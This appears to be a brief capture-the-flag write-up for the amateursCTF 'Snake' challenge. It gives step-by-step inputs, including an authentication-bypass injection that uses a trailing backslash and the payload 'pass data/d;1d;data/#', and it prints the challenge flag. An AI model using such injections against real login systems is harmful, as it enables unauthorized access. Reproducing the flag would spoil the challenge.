MoeWalls
135 words
1 minute
Snake
lets play some snake
309 pts / 20 solves
Step 1: Connect
nc amt.rs 34411Step 2: Register an Account
- When prompted, type
registerand press Enter. - The system will give you a UID (e.g.,
9457385429662). Copy this number. - For the Password, type
passand press Enter.
You are now logged in as a normal user. We need to log out first to perform the injection.
Step 3: Log Out
- Type
settingsand press Enter. - Type
logoutand press Enter.
Step 4: Malicious Login (The Injection)
This is the critical part. We use the backslash \ to trick the system into accepting spaces in the UID variable.
- Type
loginand press Enter. - At the
UID:prompt, do exactly this:- Type your UID followed by a space and a backslash:
[YOUR_UID] \ - Press Enter.
- Type this exact payload:
pass data/d;1d;data/# - Press Enter.
- Type your UID followed by a space and a backslash:
Example Input
UID: 9457385429662 \pass data/d;1d;data/#Result
The injection bypasses the authentication and reveals the flag!
Flag
amateursCTF{y0u_ar3_th3_r3al_w1nn3r_0f_sn4k3}